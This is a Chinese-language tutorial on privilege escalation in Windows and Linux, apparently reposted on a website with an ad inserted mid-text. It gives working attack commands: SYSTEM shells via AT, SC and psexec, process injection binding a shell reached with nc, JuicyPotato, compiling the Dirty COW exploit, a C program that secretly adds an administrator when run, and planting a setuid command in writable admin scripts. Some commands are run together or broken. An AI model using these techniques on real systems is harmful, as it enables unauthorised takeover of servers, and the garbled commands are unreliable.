提权是指在服务器中提升自己权限的操作,常见于网站入侵过程中,通过利用各种漏洞上传shell,从而获取服务器的控制权。
操作系统的安全基础在于用户空间和内核空间的隔离。内核空间是内核代码运行的地方,而用户空间是用户程序代码运行的地方。这样设计的目的是确保用户程序崩溃时不会影响内核。当进程在内核空间运行时,它处于内核态;在用户空间运行时,则处于用户态。
账号分类包括:
本地系统帐户(SYSTEM):具有完全系统访问权限,是计算机的超级帐户。本地服务帐户(LOCAL SERVICE):类似于经过认证的用户帐户,具有与Users用户组成员相同的资源和对象访问权限。网络服务帐户(NETWORK SERVICE):类似于经过认证的用户帐户,具有与Users用户组成员相同的资源和对象访问权限。
用户在登录时获取权限令牌,而服务账号无需用户登录,会在后台自动启动服务。不同账号的权限各不相同。
在Windows系统中,用户分为三类:user(普通用户)、administrator(管理员)和system(系统管理员)。在Linux系统中,用户分为两类:user(普通用户)和root(管理员)。
Windows系统的权限分为三种:user(普通用户权限)、administrator(用户管理员权限)和system(系统管理员权限)。Linux系统的权限分为user(普通权限)和root(管理员权限)。


提权类别包括本地提权、配置提权和漏洞提权。
本地提权:
AT命令提权:首先以administrator身份打开cmd,然后输入
at 10:21 /interactive cmd
,在10:21时会打开一个cmd窗口。



SC命令提权:
sc Create syscmd binpath="cmd/k start" type= own type= interactsc start syscmd
system服务名字可以任意取,binpath是执行的路径。
内核提权:
psexec -i -s -d cmd

注入进程提权:
pinjector.exe -p 2152 cmd 12345
注入进程提权的流程:首先在靶机上的身份是administrator,靶机IP是172.16.11.141。进入靶机中
pinjector.exe
所在的根目录,然后使用
pinjector.exe -l
查看可以注入的进程,选择你想注入的进程。
pinjector.exe -p 1444 cmd 5432
-p是选择注入的进程的pid,这里的5432是端口。



nc 172.16.11.141 5432


提客AI提词器
「直播、录课」智能AI提词,搭配抖音直播伴侣、腾讯会议、钉钉、飞书、录课等软件等任意软件。
64 查看详情
漏洞提权:
烂土豆提权:属于令牌提权,限制条件包括需要支持SeImpersonate或SeAssignPrimaryToken权限,开启DCOM本地支持RPC或远程服务器支持PRC并能成功登录,能够找到可用的COM对象。
webshell版脚本:
Juicypotato.exe –p whoami
脏牛提权:属于Linux内核提权。下载现成的exp(https://www.php.cn/link/59893fe5a442e62984d00a242eefc32d。
gcc -pthread dirty.c -o dirty -lcrypt
巴西烤肉:
net localgroup administrators admin123456 /add
利用配置不当提权:
与利用漏洞提权相比,此方法更常用。大部分企业会对系统的漏洞及时进行补丁更新,很难通过系统的漏洞进行入侵。查找系统中以system权限启动的服务或应用,可以尝试将其替换或反弹shell的方式提权。可以查找NTFS权限允许users修改删除的应用,利用配置不当进行提权。代码中是否有过滤参数的操作等都可以加以利用,进行提取。
使用icacls软件(Windows):
icaclsicacls c:windows*.exe /save perm /Ti586-mingw32msvc-gcc -o admin.exe admin.c //因为exe要给windows用所以这里使用i586-mingw32msvc-gcc这个编译
admin.c:
#includeint main(){ int i; i=system("net localgroup administrators a /add"); return 0;}
只要管理员点击admin.exe,就会将用户a添加到管理员组。
Linux:
找到配置不当的文件:
方法1:
find / -perm 777 -exec ls -l {} ;
-perm 777:指定权限为777的文件,-exec ls-l:对匹配的文件执行ls -l命令,{} ;是格式。
方法2:
find / -writable -type f 2 >/dev/null | grep -v "/proc/".
/proc:下多为系统启动的程序,一般不会有普通用户有可执行权限的程序。
在目标文件里添加脚本:如第一步找到了usr文件下的123.sh符合条件,即 /usr/123.sh,就在123.sh里添加
chmod u+s /bin/dash
。然后当管理员执行这个脚本的时候
sh /usr/123.sh
,普通用户就可以使用dash获得管理员权限
/bin/bash
。还可以从应用系统的配置文件、应用连接数据库的配置文件下手。
其它提权方式:
数据库提权:
MySQL提权:
UDF提权:需要知道root账号密码,适用于Win2000、2003系统,且需要secure_file_priv函数打开。利用自定义函数功能,将MySQL账号换为系统system权限。MOF提权:适用于Win2003以下版本,且secure_file_priv参数不为null。反弹shell提权。
SQL Server提权:
有sa权限。有dba权限。
Redis提权:未授权访问,可以通过webshell、上传公钥、反弹shell等方式提权。
Oracle提权:有dba权限执行系统命令。
第三方软件/服务提权:
Windows开机时会有一些开机启动的程序,这些程序的权限都是system,因为是system把它们启动的。利用这点,可以将自动化脚本写入启动项,达到提权的目的。
以上就是提权的详细内容,更多请关注创想鸟其它相关文章!
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/345678.html
微信扫一扫
支付宝扫一扫